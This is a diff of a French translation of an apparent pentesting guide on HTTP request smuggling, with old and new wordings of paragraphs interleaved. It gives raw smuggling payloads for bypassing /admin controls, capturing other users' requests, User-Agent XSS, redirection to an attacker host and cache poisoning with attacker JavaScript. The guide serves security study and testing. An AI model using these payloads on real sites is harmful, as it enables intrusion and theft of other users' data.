Notez comment `Content-Length` indique que la **longueur du corps de la requête est de 30 octets** (_rappelez-vous que HTTP utilise comme nouvelle ligne, donc 2 octets pour chaque nouvelle ligne_), donc le proxy inverse **envoiera la requête complète** au back-end, et le back-end traitera l'en-tête `Transfer-Encoding` en laissant `GET /404 HTTP/1.1` comme le **début de la prochaine requête** (au fait, la prochaine requête sera ajoutée à `Foo:x<Le début de la prochaine requête ici>`).
|
||||
|
||||
### Vulnérabilités TE.CL
|
||||
|
||||
Ici, le serveur frontal utilise l'en-tête `Transfer-Encoding` et le serveur arrière utilise l'en-tête `Content-Length`. Nous pouvons effectuer une attaque simple de détournement de requête HTTP comme suit :
|
||||
Ici, le serveur frontal utilise l'en-tête `Transfer-Encoding` et le serveur back-end utilise l'en-tête `Content-Length`. Nous pouvons effectuer une attaque simple de Smuggling de requête HTTP comme suit :
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
|
@ -81,15 +84,15 @@ Ici, le serveur frontal utilise l'en-tête `Transfer-Encoding` et le serveur arr
|
|||
`0`\
|
||||
`\`
|
||||
|
||||
Dans ce cas, le **reverse-proxy** va **envoyer la requête complète** vers l'**arrière-plan** comme l'indique l'en-tête **`Transfer-Encoding`**. Cependant, l'**arrière-plan** va traiter uniquement les **`7b`** (4 octets) comme indiqué dans `Content-Length`. Par conséquent, la requête suivante sera celle qui commence par `GET /404 HTTP/1.1`.
|
||||
Dans ce cas, le **reverse-proxy** **envoiera la requête entière** au **back-end** comme l'indique l'**`Transfer-encoding`**. Mais, le **back-end** va **traiter** seulement les **`7b`** (4 octets) comme indiqué dans le `Content-Length`. Par conséquent, la prochaine requête sera celle commençant par `GET /404 HTTP/1.1`
|
||||
|
||||
Notez que même si l'attaque doit se terminer par un `0`, la requête suivante sera ajoutée en tant que valeurs supplémentaires du paramètre **x**.\
|
||||
Notez également que la longueur du contenu de la requête intégrée indiquera la longueur de la prochaine requête qui sera ajoutée au paramètre **x**. Si elle est trop petite, seuls quelques octets seront ajoutés, et si elle est trop grande (plus grande que la longueur de la prochaine requête), une erreur sera générée pour la requête suivante.
|
||||
_Notez que même si l'attaque doit se terminer par un `0`, la requête suivante sera ajoutée comme valeurs supplémentaires du paramètre **x**._\
|
||||
_Notez également que le Content-Length de la requête intégrée indiquera la longueur de la prochaine requête qui sera ajoutée au paramètre **x**. Si elle est trop petite, seuls quelques octets seront ajoutés, et si elle est trop grande (plus grande que la longueur de la prochaine requête) une erreur sera générée pour la prochaine requête._
|
||||
|
||||
### Vulnérabilités TE.TE
|
||||
|
||||
Ici, les serveurs frontal et arrière prennent en charge tous deux l'en-tête `Transfer-Encoding`, mais l'un des serveurs peut être amené à ne pas le traiter en obfusquant l'en-tête d'une certaine manière.\
|
||||
Il existe potentiellement d'innombrables façons d'obfusquer l'en-tête `Transfer-Encoding`. Par exemple :
|
||||
Ici, les serveurs frontal et back-end prennent tous deux en charge l'en-tête `Transfer-Encoding`, mais l'un des serveurs peut être induit à ne pas le traiter en obscurcissant l'en-tête d'une certaine manière.\
|
||||
Il existe potentiellement une infinité de façons d'obscurcir l'en-tête `Transfer-Encoding`. Par exemple :
|
||||
|
||||
`Transfer-Encoding: xchunked`\
|
||||
``\ `Transfer-Encoding : chunked`\``\
|
||||
|
@ -103,13 +106,13 @@ Il existe potentiellement d'innombrables façons d'obfusquer l'en-tête `Transfe
|
|||
`Transfer-Encoding`\
|
||||
`: chunked`
|
||||
|
||||
Selon le serveur (reverse-proxy ou arrière-plan) qui **arrête de traiter** l'en-tête **TE**, vous trouverez une vulnérabilité **CL.TE** ou une vulnérabilité **TE.CL**.
|
||||
Selon le serveur (reverse-proxy ou back-end) qui **arrête de traiter** l'en-tête **TE**, vous trouverez une vulnérabilité **CL.TE** ou **TE.CL**.
|
||||
|
||||
## Découverte de la détournement de requête HTTP
|
||||
## Trouver le Smuggling de requête HTTP
|
||||
|
||||
### Découverte des vulnérabilités CL.TE en utilisant des techniques de temporisation
|
||||
### Trouver des vulnérabilités CL.TE en utilisant des techniques de temporisation
|
||||
|
||||
Si une application est vulnérable à la variante CL.TE du détournement de requête, l'envoi d'une requête comme celle-ci provoquera souvent un délai :
|
||||
Si une application est vulnérable à la variante CL.TE du Smuggling de requête, alors l'envoi d'une requête comme la suivante provoquera souvent un délai :
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
@ -121,19 +124,19 @@ Content-Length: 4
|
|||
A
|
||||
0
|
||||
```
|
||||
Étant donné que le serveur frontal utilise l'en-tête `Content-Length`, il ne transmettra qu'une partie de cette requête, en omettant le `0`. Le serveur arrière utilise l'en-tête `Transfer-Encoding`, traite le premier fragment, puis attend l'arrivée du fragment suivant. Cela entraînera un retard observable.
|
||||
Étant donné que le serveur frontal utilise l'en-tête `Content-Length`, il ne transmettra qu'une partie de cette requête, omettant le `0`. Le serveur back-end utilise l'en-tête `Transfer-Encoding`, traite le premier bloc, puis attend l'arrivée du bloc suivant. Cela provoquera un délai d'attente observable.
|
||||
|
||||
Parfois, au lieu d'obtenir un délai d'expiration, vous recevez une erreur 400 mauvaise requête de l'hôte final, comme dans le scénario suivant, où une charge utile CL.TE est envoyée :
|
||||
Parfois, au lieu d'obtenir un délai d'expiration, vous recevez une mauvaise requête 400 de l'hôte final comme dans le scénario suivant, où une charge utile CL.TE est envoyée :
|
||||
|
||||
![](<../../.gitbook/assets/image (444).png>)
|
||||
|
||||
Et la réponse est une redirection contenant une erreur dans le corps, avec même la version de haproxy utilisée :
|
||||
Et la réponse est une redirection contenant une erreur dans le corps avec même la version du haproxy utilisé :
|
||||
|
||||
![](<../../.gitbook/assets/image (443).png>)
|
||||
|
||||
### Recherche de vulnérabilités TE.CL en utilisant des techniques de synchronisation
|
||||
### Trouver des vulnérabilités TE.CL en utilisant des techniques de temporisation
|
||||
|
||||
Si une application est vulnérable à la variante TE.CL de l'attaque de détournement de requête, l'envoi d'une requête comme celle-ci provoquera souvent un retard :
|
||||
Si une application est vulnérable à la variante TE.CL de l'encapsulation de requêtes, alors l'envoi d'une requête comme la suivante provoquera souvent un délai d'attente :
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
@ -144,41 +147,39 @@ Content-Length: 6
|
|||
0
|
||||
X
|
||||
```
|
||||
Depuis que le serveur frontal utilise l'en-tête `Transfer-Encoding`, il ne transmettra qu'une partie de cette requête, en omettant le `X`. Le serveur arrière utilise l'en-tête `Content-Length`, attend plus de contenu dans le corps du message et attend l'arrivée du contenu restant. Cela entraînera un retard observable.
|
||||
### Sonder les vulnérabilités de contrebande de requêtes HTTP
|
||||
|
||||
### Sonder les vulnérabilités de l'attaque de requête HTTP Smuggling
|
||||
|
||||
Une fois que vous avez constaté que les **techniques de synchronisation fonctionnent**, vous devez **sonder** si vous pouvez **modifier les requêtes des autres clients**.\
|
||||
La manière la plus simple de le faire est d'essayer de corrompre vos propres requêtes, par exemple en faisant une demande pour `/` qui renvoie un code 404.\
|
||||
Dans les [Exemples de base](./#basic-examples), nous avons déjà vu des exemples de `CL.TE` et `TE.CL` qui montrent comment corrompre une requête de client pour demander `/404`, provoquant une réponse 404 lorsque le client demande une autre ressource.
|
||||
Une fois que vous avez constaté que **les techniques de chronométrage fonctionnent**, vous devez **sonder** si vous pouvez **modifier les requêtes d'autres clients**.\
|
||||
La manière la plus simple de faire cela est d'essayer d'empoisonner vos propres requêtes, **faire en sorte qu'une requête pour `/` renvoie un 404 par exemple**.\
|
||||
Dans les [Exemples de base](./#basic-examples), nous avons déjà vu des exemples de `CL.TE` et `TE.CL` sur la manière d'empoisonner une requête client pour demander `/404` provoquant une réponse 404 lorsque le client demandait une autre ressource.
|
||||
|
||||
**Notes**
|
||||
|
||||
Certaines considérations importantes doivent être prises en compte lors de la tentative de confirmation des vulnérabilités de l'attaque de requête en interférant avec d'autres requêtes :
|
||||
Certaines considérations importantes doivent être prises en compte lors de la tentative de confirmation des vulnérabilités de contrebande de requêtes via l'interférence avec d'autres requêtes :
|
||||
|
||||
* La requête "d'attaque" et la requête "normale" doivent être envoyées au serveur en utilisant des connexions réseau différentes. L'envoi des deux requêtes via la même connexion ne prouvera pas l'existence de la vulnérabilité.
|
||||
* La requête "d'attaque" et la requête "normale" doivent utiliser la même URL et les mêmes noms de paramètres, dans la mesure du possible. Cela est dû au fait que de nombreuses applications modernes routent les requêtes frontales vers différents serveurs back-end en fonction de l'URL et des paramètres. Utiliser la même URL et les mêmes paramètres augmente les chances que les requêtes soient traitées par le même serveur back-end, ce qui est essentiel pour que l'attaque fonctionne.
|
||||
* Lors du test de la requête "normale" pour détecter toute interférence de la requête "d'attaque", vous êtes en concurrence avec toutes les autres requêtes que l'application reçoit en même temps, y compris celles des autres utilisateurs. Vous devez envoyer la requête "normale" immédiatement après la requête "d'attaque". Si l'application est occupée, vous devrez peut-être effectuer plusieurs tentatives pour confirmer la vulnérabilité.
|
||||
* Dans certaines applications, le serveur frontal fonctionne comme un répartiteur de charge et transfère les requêtes vers différents systèmes back-end selon un algorithme de répartition de charge. Si vos requêtes "d'attaque" et "normale" sont transférées vers des systèmes back-end différents, l'attaque échouera. C'est une raison supplémentaire pour laquelle vous devrez peut-être essayer plusieurs fois avant de confirmer une vulnérabilité.
|
||||
* Si votre attaque réussit à interférer avec une requête ultérieure, mais que ce n'était pas la requête "normale" que vous avez envoyée pour détecter l'interférence, cela signifie qu'un autre utilisateur de l'application a été affecté par votre attaque. Si vous continuez le test, cela pourrait avoir un effet perturbateur sur les autres utilisateurs, et vous devez faire preuve de prudence.
|
||||
* La requête "d'attaque" et la requête "normale" doivent être envoyées au serveur en utilisant des connexions réseau différentes. Envoyer les deux requêtes à travers la même connexion ne prouvera pas que la vulnérabilité existe.
|
||||
* La requête "d'attaque" et la requête "normale" doivent utiliser la même URL et les mêmes noms de paramètres, autant que possible. Cela est dû au fait que de nombreuses applications modernes acheminent les requêtes du front-end vers différents serveurs back-end en fonction de l'URL et des paramètres. Utiliser la même URL et les mêmes paramètres augmente la chance que les requêtes soient traitées par le même serveur back-end, ce qui est essentiel pour que l'attaque fonctionne.
|
||||
* Lors du test de la requête "normale" pour détecter toute interférence de la requête "d'attaque", vous êtes en compétition avec toutes les autres requêtes que l'application reçoit en même temps, y compris celles d'autres utilisateurs. Vous devriez envoyer la requête "normale" immédiatement après la requête "d'attaque". Si l'application est occupée, vous pourriez avoir besoin de réaliser plusieurs tentatives pour confirmer la vulnérabilité.
|
||||
* Dans certaines applications, le serveur front-end fonctionne comme un équilibreur de charge et achemine les requêtes vers différents systèmes back-end selon un algorithme d'équilibrage de charge. Si vos requêtes "d'attaque" et "normale" sont acheminées vers différents systèmes back-end, alors l'attaque échouera. C'est une raison supplémentaire pour laquelle vous pourriez avoir besoin d'essayer plusieurs fois avant qu'une vulnérabilité puisse être confirmée.
|
||||
* Si votre attaque réussit à interférer avec une requête subséquente, mais que ce n'était pas la requête "normale" que vous avez envoyée pour détecter l'interférence, cela signifie qu'un autre utilisateur de l'application a été affecté par votre attaque. Si vous continuez à effectuer le test, cela pourrait avoir un effet perturbateur sur les autres utilisateurs, et vous devriez faire preuve de prudence.
|
||||
|
||||
### Forcer via les en-têtes hop-by-hop
|
||||
|
||||
En abusant des en-têtes hop-by-hop, vous pouvez indiquer au proxy de **supprimer l'en-tête Content-Length ou Transfer-Encoding afin de permettre une attaque de requête HTTP Smuggling**.
|
||||
En abusant des en-têtes hop-by-hop, vous pourriez indiquer au proxy de **supprimer l'en-tête Content-Length ou Transfer-Encoding afin qu'une contrebande de requête HTTP soit possible à exploiter**.
|
||||
```
|
||||
Connection: Content-Length
|
||||
```
|
||||
Pour **plus d'informations sur les en-têtes hop-by-hop**, visitez :
|
||||
Pour **plus d'informations sur les en-têtes de saut par saut**, visitez :
|
||||
|
||||
{% content-ref url="../abusing-hop-by-hop-headers.md" %}
|
||||
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Abus de la manipulation des requêtes HTTP
|
||||
## Abuser de l'HTTP Request Smuggling
|
||||
|
||||
### Contourner les contrôles de sécurité en frontal
|
||||
### Pour contourner les contrôles de sécurité frontaux
|
||||
|
||||
Parfois, les **proxys en frontal effectuent des vérifications de sécurité**. Vous pouvez les contourner en abusant de la manipulation des requêtes HTTP, car vous serez en mesure de **contourner les protections**. Par exemple, dans cet exemple, vous **ne pouvez pas accéder à `/admin` depuis l'extérieur** et le proxy en frontal vérifie cela, mais ce **proxy ne vérifie pas la requête intégrée** :
|
||||
Parfois, **les proxies frontaux effectuent certains contrôles de sécurité**. Vous pouvez les éviter en abusant de l'HTTP Request Smuggling car vous serez capable de **contourner les protections**. Par exemple, dans cet exemple, vous **ne pouvez pas accéder à `/admin` de l'extérieur** et le proxy frontal vérifie cela, mais ce **proxy ne vérifie pas la requête intégrée** :
|
||||
|
||||
**CL.TE**
|
||||
|
||||
|
@ -212,13 +213,13 @@ Parfois, les **proxys en frontal effectuent des vérifications de sécurité**.
|
|||
`0`\
|
||||
`\`
|
||||
|
||||
### Révéler la réécriture des requêtes en frontal <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
### Révéler la réécriture des requêtes frontales <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
Dans de nombreuses applications, le **serveur frontal effectue une réécriture des requêtes** avant de les transmettre au serveur en arrière-plan, généralement en ajoutant des en-têtes de requête supplémentaires.\
|
||||
Une chose courante à faire est d'**ajouter à la requête l'en-tête** `X-Forwarded-For: <IP du client>` ou un en-tête similaire pour que le serveur en arrière-plan connaisse l'IP du client.\
|
||||
Parfois, si vous pouvez **trouver les nouvelles valeurs ajoutées** à la requête, vous pourriez être en mesure de **contourner les protections** et d'**accéder à des informations/endpoints cachés**.
|
||||
Dans de nombreuses applications, **le serveur frontal effectue une réécriture des requêtes** avant de les transmettre au serveur backend, généralement en ajoutant des en-têtes de requête supplémentaires.\
|
||||
Une chose courante à faire est d'**ajouter à la requête l'en-tête** `X-Forwarded-For: <IP du client>` ou un en-tête similaire pour que le backend connaisse l'IP du client.\
|
||||
Parfois, si vous pouvez **trouver quelles nouvelles valeurs sont ajoutées** à la requête, vous pourriez être capable de **contourner les protections** et **accéder à des informations/endpoints cachés**.
|
||||
|
||||
Pour découvrir comment le proxy réécrit la requête, vous devez **trouver un paramètre POST dont la valeur sera reflétée** dans la réponse. Ensuite, utilisez ce paramètre en dernier et utilisez une exploitation comme celle-ci :
|
||||
Pour découvrir comment le proxy réécrit la requête, vous devez **trouver un paramètre POST que le backend reflétera dans sa valeur** sur la réponse. Ensuite, utilisez ce paramètre en dernier et utilisez une exploitation comme celle-ci :
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
|
@ -229,16 +230,16 @@ Pour découvrir comment le proxy réécrit la requête, vous devez **trouver un
|
|||
``\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\``\
|
||||
`search=`
|
||||
|
||||
Dans ce cas, la requête suivante sera ajoutée après `search=`, qui est également **le paramètre dont la valeur sera reflétée** dans la réponse, il va donc **refléter les en-têtes de la prochaine requête**.
|
||||
Dans ce cas, la requête suivante sera ajoutée après `search=`, qui est aussi **le paramètre dont la valeur sera reflétée** sur la réponse, donc elle va **refléter les en-têtes de la requête suivante**.
|
||||
|
||||
Notez que **seule la longueur indiquée dans l'en-tête `Content-Length` de la requête intégrée sera reflétée**. Si vous utilisez un nombre faible, seuls quelques octets seront reflétés, si vous utilisez un nombre plus grand que la longueur de tous les en-têtes, alors la requête intégrée générera une erreur. Vous devriez donc **commencer** par un **nombre faible** et **l'augmenter** jusqu'à ce que vous voyiez tout ce que vous voulez voir.\
|
||||
Notez également que cette **technique est également exploitable avec une vulnérabilité TE.CL**, mais la requête doit se terminer par `search=\r\n0`. Cependant, indépendamment des caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre de recherche.
|
||||
Notez que **seule la longueur indiquée dans l'en-tête `Content-Length` de la requête intégrée sera reflétée**. Si vous utilisez un petit nombre, seuls quelques octets seront reflétés, si vous utilisez un nombre plus grand que la longueur de tous les en-têtes, alors la requête intégrée générera une erreur. Ensuite, vous devriez **commencer** avec un **petit nombre** et **augmenter** jusqu'à ce que vous voyiez tout ce que vous vouliez voir.\
|
||||
Notez également que cette **technique est également exploitable avec une vulnérabilité TE.CL** mais la requête doit se terminer par `search=\r\n0`. Cependant, indépendamment des caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre de recherche.
|
||||
|
||||
Enfin, notez que dans cette attaque, nous nous attaquons toujours à nous-mêmes pour apprendre comment le proxy frontal réécrit la requête.
|
||||
Enfin, notez que dans cette attaque, nous attaquons toujours nous-mêmes pour apprendre comment le proxy frontal réécrit la requête.
|
||||
|
||||
### Capturer les requêtes d'autres utilisateurs <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
Si vous pouvez trouver une requête POST qui va enregistrer le contenu d'un des paramètres, vous pouvez ajouter la requête suivante en tant que valeur de ce paramètre afin de stocker la requête du prochain client :
|
||||
Si vous trouvez une requête POST qui va enregistrer le contenu de l'un des paramètres, vous pouvez ajouter la requête suivante comme valeur de ce paramètre afin de stocker la requête du prochain client :
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net`\
|
||||
|
@ -256,19 +257,20 @@ Si vous pouvez trouver une requête POST qui va enregistrer le contenu d'un des
|
|||
\`\`\
|
||||
`csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=`
|
||||
|
||||
Dans ce cas, la valeur du **paramètre comment** va être **enregistrée dans un commentaire** d'un article sur la page qui est **publiquement accessible**, donc un **commentaire apparaîtra avec le contenu de la prochaine requête**.
|
||||
Dans ce cas, la valeur du **paramètre commentaire** sera **enregistrée dans un commentaire** d'un post sur la page qui est **publiquement accessible**, donc un **commentaire apparaîtra avec le contenu de la requête suivante**.
|
||||
|
||||
_Une limitation de cette technique est qu'elle ne capture généralement que les données jusqu'au délimiteur de paramètre applicable à la requête détournée. Pour les soumissions de formulaires encodés en URL, il s'agit du caractère `&`, ce qui signifie que le contenu stocké à partir de la requête de l'utilisateur victime se terminera au premier `&`, qui pourrait même apparaître dans la chaîne de requête._
|
||||
_Une limitation avec cette technique est qu'elle ne capturera généralement que les données jusqu'au délimiteur de paramètre applicable pour la requête introduite. Pour les soumissions de formulaires encodés en URL, ce sera le caractère `&`, ce qui signifie que le contenu stocké de la requête de l'utilisateur victime se terminera au premier `&`, qui pourrait même apparaître dans la chaîne de requête._
|
||||
|
||||
Notez également que cette **technique est également exploitable avec une vulnérabilité TE.CL**, mais la requête doit se terminer par `search=\r\n0`. Cependant, indépendamment des caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre de recherche.
|
||||
### Utilisation de la contrebande de requêtes HTTP pour exploiter le XSS réfléchi
|
||||
Notez également que cette **technique est également exploitable avec une vulnérabilité TE.CL** mais la requête doit se terminer par `search=\r\n0`. Cependant, indépendamment des caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre de recherche.
|
||||
|
||||
Si la page web est également **vulnérable au XSS réfléchi**, vous pouvez exploiter la contrebande de requêtes HTTP pour attaquer les clients du site web. L'exploitation du XSS réfléchi à partir de la contrebande de requêtes HTTP présente certains avantages :
|
||||
### Utiliser l'HTTP Request Smuggling pour exploiter le XSS réfléchi
|
||||
|
||||
* **Elle ne nécessite aucune interaction avec les utilisateurs victimes**
|
||||
* Elle peut être utilisée pour **exploiter** le comportement XSS dans des parties de la requête qui **ne peuvent pas être facilement contrôlées dans une attaque XSS réfléchie normale**, comme les en-têtes de requête HTTP.
|
||||
Si la page Web est également **vulnérable au XSS réfléchi**, vous pouvez abuser de l'HTTP Request Smuggling pour attaquer les clients du Web. L'exploitation du XSS réfléchi à partir de l'HTTP Request Smuggling présente certains avantages :
|
||||
|
||||
Si un site web est vulnérable au XSS réfléchi dans l'en-tête User-Agent, vous pouvez utiliser cette charge utile pour l'exploiter :
|
||||
* **Aucune interaction avec les utilisateurs victimes n'est requise**
|
||||
* Il peut être utilisé pour **exploiter** un comportement XSS dans des parties de la requête qui **ne peuvent pas être contrôlées trivialement dans une attaque XSS réfléchie normale**, telles que les en-têtes de requête HTTP.
|
||||
|
||||
Si un site Web est vulnérable au XSS réfléchi sur l'en-tête User-Agent, vous pouvez utiliser ce payload pour l'exploiter :
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net`\
|
||||
|
@ -287,9 +289,9 @@ Si un site web est vulnérable au XSS réfléchi dans l'en-tête User-Agent, vou
|
|||
\`\`\
|
||||
`A=`
|
||||
|
||||
### Utilisation de la contrebande de requêtes HTTP pour transformer une redirection sur site en une redirection ouverte <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
|
||||
### Utiliser l'HTTP Request Smuggling pour transformer une redirection sur site en une redirection ouverte <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
|
||||
|
||||
De nombreuses applications effectuent des redirections sur site d'une URL vers une autre et placent le nom d'hôte de l'en-tête `Host` de la requête dans l'URL de redirection. Un exemple de cela est le comportement par défaut des serveurs web Apache et IIS, où une requête pour un dossier sans barre oblique finale reçoit une redirection vers le même dossier incluant la barre oblique finale :
|
||||
De nombreuses applications effectuent des redirections sur site d'une URL à une autre et placent le nom d'hôte de l'en-tête `Host` de la requête dans l'URL de redirection. Un exemple de ce comportement est le comportement par défaut des serveurs Web Apache et IIS, où une demande pour un dossier sans barre oblique finale reçoit une redirection vers le même dossier incluant la barre oblique finale :
|
||||
|
||||
`GET /home HTTP/1.1`\
|
||||
`Host: normal-website.com`\
|
||||
|
@ -297,7 +299,7 @@ De nombreuses applications effectuent des redirections sur site d'une URL vers u
|
|||
`HTTP/1.1 301 Moved Permanently`\
|
||||
`Location: https://normal-website.com/home/`
|
||||
|
||||
Ce comportement est généralement considéré comme inoffensif, mais il peut être exploité dans une attaque de contrebande de requêtes pour rediriger d'autres utilisateurs vers un domaine externe. Par exemple :
|
||||
Ce comportement est normalement considéré comme inoffensif, mais il peut être exploité dans une attaque de smuggling de requête pour rediriger d'autres utilisateurs vers un domaine externe. Par exemple :
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
|
@ -309,7 +311,7 @@ Ce comportement est généralement considéré comme inoffensif, mais il peut ê
|
|||
`Host: attacker-website.com`\
|
||||
`Foo: X`
|
||||
|
||||
La requête contrebandée déclenchera une redirection vers le site web de l'attaquant, ce qui affectera la requête de l'utilisateur suivant qui est traitée par le serveur back-end. Par exemple :
|
||||
La requête introduite déclenchera une redirection vers le site Web de l'attaquant, ce qui affectera la requête du prochain utilisateur traitée par le serveur backend. Par exemple :
|
||||
|
||||
`GET /home HTTP/1.1`\
|
||||
`Host: attacker-website.com`\
|
||||
|
@ -319,17 +321,17 @@ La requête contrebandée déclenchera une redirection vers le site web de l'att
|
|||
`HTTP/1.1 301 Moved Permanently`\
|
||||
`Location: https://attacker-website.com/home/`
|
||||
|
||||
Ici, la requête de l'utilisateur était destinée à un fichier JavaScript qui était importé par une page du site web. L'attaquant peut compromettre complètement l'utilisateur victime en renvoyant son propre JavaScript dans la réponse.
|
||||
Ici, la requête de l'utilisateur était pour un fichier JavaScript qui était importé par une page sur le site Web. L'attaquant peut compromettre complètement l'utilisateur victime en retournant leur propre JavaScript dans la réponse.
|
||||
|
||||
### Utilisation de la contrebande de requêtes HTTP pour effectuer un empoisonnement du cache web <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
|
||||
### Utiliser l'HTTP Request Smuggling pour effectuer un empoisonnement de cache Web <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
|
||||
|
||||
Si une partie de l'**infrastructure frontale effectue une mise en cache du contenu** (généralement pour des raisons de performance), il est possible de contaminer cette mise en cache en modifiant la réponse du serveur.
|
||||
Si une partie de **l'infrastructure frontale effectue la mise en cache du contenu** (généralement pour des raisons de performance), il **pourrait être possible d'empoisonner ce cache en modifiant la réponse du serveur**.
|
||||
|
||||
Nous avons déjà vu comment modifier la valeur de retour attendue du serveur en une erreur 404 (dans les [Exemples de base](./#basic-examples)), de manière similaire, vous pourriez faire en sorte que le serveur renvoie le contenu de /index.html lorsque la requête empoisonnée demande `/static/include.js`. Ainsi, le contenu de `/static/include.js` sera mis en cache avec le contenu de `/index.html`, rendant `/static/include.js` inaccessible aux clients (DoS ?).
|
||||
Nous avons déjà vu comment modifier la valeur de retour attendue du serveur en une erreur 404 (dans les [Exemples de base](./#basic-examples)), de manière similaire, vous pourriez faire en sorte que le serveur retourne le contenu de /index.html lorsque la requête empoisonnée demande `/static/include.js`. De cette façon, le contenu de `/static/include.js` sera mis en cache avec le contenu de `/index.html`, rendant `/static/include.js` inaccessible aux clients (DoS ?).
|
||||
|
||||
Remarquez que cela est encore plus intéressant si vous trouvez une **Redirection ouverte** ou une **redirection sur site vers une redirection ouverte** (dernière section). En effet, vous pourriez être en mesure de **modifier les valeurs du cache** de `/static/include.js` avec celles d'un script contrôlé par vous (réalisation d'un **XSS généralisé à tous les clients** qui tentent de télécharger la nouvelle version de `/static/include.js`).
|
||||
Remarquez que c'est encore plus intéressant si vous trouvez une **Redirection Ouverte** ou une **redirection sur site vers une redirection ouverte** (dernière section). Parce que, vous pourriez être capable de **changer les valeurs du cache** de `/static/include.js` avec **celles d'un script contrôlé par vous** (faisant un **XSS général à tous les clients** qui essaient de télécharger la nouvelle version de `/static/include.js`).
|
||||
|
||||
Dans cet exemple, il sera démontré comment vous pouvez exploiter un **empoisonnement du cache + une redirection sur site vers une redirection ouverte** pour modifier le contenu du cache de `/static/include.js` afin de **servir du code JS contrôlé** par l'attaquant :
|
||||
Dans cet exemple, il va être montré comment vous pouvez exploiter un **empoisonnement de cache + redirection sur site vers une redirection ouverte** pour modifier le contenu du cache de `/static/include.js` pour **servir du code JS contrôlé** par l'attaquant :
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable.net`\
|
||||
|
@ -345,19 +347,20 @@ Dans cet exemple, il sera démontré comment vous pouvez exploiter un **empoison
|
|||
\`\`\
|
||||
`x=1`
|
||||
|
||||
Remarquez comment la requête intégrée demande `/post/next?postId=3`. Cette requête sera redirigée vers `/post?postId=4` et **utilisera la valeur de l'en-tête Host** pour indiquer le domaine. Par conséquent, vous pouvez **modifier l'en-tête Host** pour pointer vers le serveur de l'attaquant et la redirection utilisera ce domaine (**redirection sur site vers une redirection ouverte**).
|
||||
Notez comment la requête intégrée demande `/post/next?postId=3` Cette requête va être redirigée vers `/post?postId=4` et **utilisera la valeur de l'en-tête Host** pour indiquer le domaine. Par conséquent, vous pouvez **modifier l'en-tête Host** pour pointer le serveur de l'attaquant et la redirection utilisera ce domaine (**redirection sur site vers une redirection ouverte**).
|
||||
|
||||
Ensuite, **après avoir empoisonné le socket**, vous devez envoyer une **requête GET** vers \*\*`/static/include.js`\*\*cette requête sera **empoisonnée** par la requête **redirection sur site vers une redirection ouverte** et **récupérera le contenu du script contrôlé par l'attaquant**.
|
||||
Ensuite, **après avoir empoisonné le socket**, vous devez envoyer une **requête GET** à **`/static/include.js`** cette requête sera **empoisonnée** par la requête de **redirection sur site vers une redirection ouverte** et **saisira le contenu du script contrôlé par l'attaquant**.
|
||||
|
||||
La prochaine fois que quelqu'un demandera `/static/include.js`, les contenus mis en cache du script de l'attaquant seront servis (XSS généralisé).
|
||||
### Utilisation de la contrebande de requêtes HTTP pour effectuer une tromperie de cache web <a href="#utilisation-de-la-contrebande-de-requetes-http-pour-effectuer-une-tromperie-de-cache-web" id="utilisation-de-la-contrebande-de-requetes-http-pour-effectuer-une-tromperie-de-cache-web"></a>
|
||||
La prochaine fois que quelqu'un demandera `/static/include.js`, le contenu mis en cache du script de l'attaquant sera servi (XSS général).
|
||||
|
||||
> **Quelle est la différence entre l'empoisonnement de cache web et la tromperie de cache web ?**
|
||||
### Utiliser l'HTTP Request Smuggling pour effectuer une déception de cache Web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **Quelle est la différence entre l'empoisonnement de cache Web et la déception de cache Web ?**
|
||||
>
|
||||
> * Dans l'**empoisonnement de cache web**, l'attaquant fait en sorte que l'application stocke un contenu malveillant dans le cache, et ce contenu est servi depuis le cache aux autres utilisateurs de l'application.
|
||||
> * Dans la **tromperie de cache web**, l'attaquant fait en sorte que l'application stocke un contenu sensible appartenant à un autre utilisateur dans le cache, puis l'attaquant récupère ce contenu depuis le cache.
|
||||
> * Dans **l'empoisonnement de cache Web**, l'attaquant amène l'application à stocker un contenu malveillant dans le cache, et ce contenu est servi à partir du cache à d'autres utilisateurs de l'application.
|
||||
> * Dans **la déception de cache Web**, l'attaquant amène l'application à stocker un contenu sensible appartenant à un autre utilisateur dans le cache, et l'attaquant récupère ensuite ce contenu à partir du cache.
|
||||
|
||||
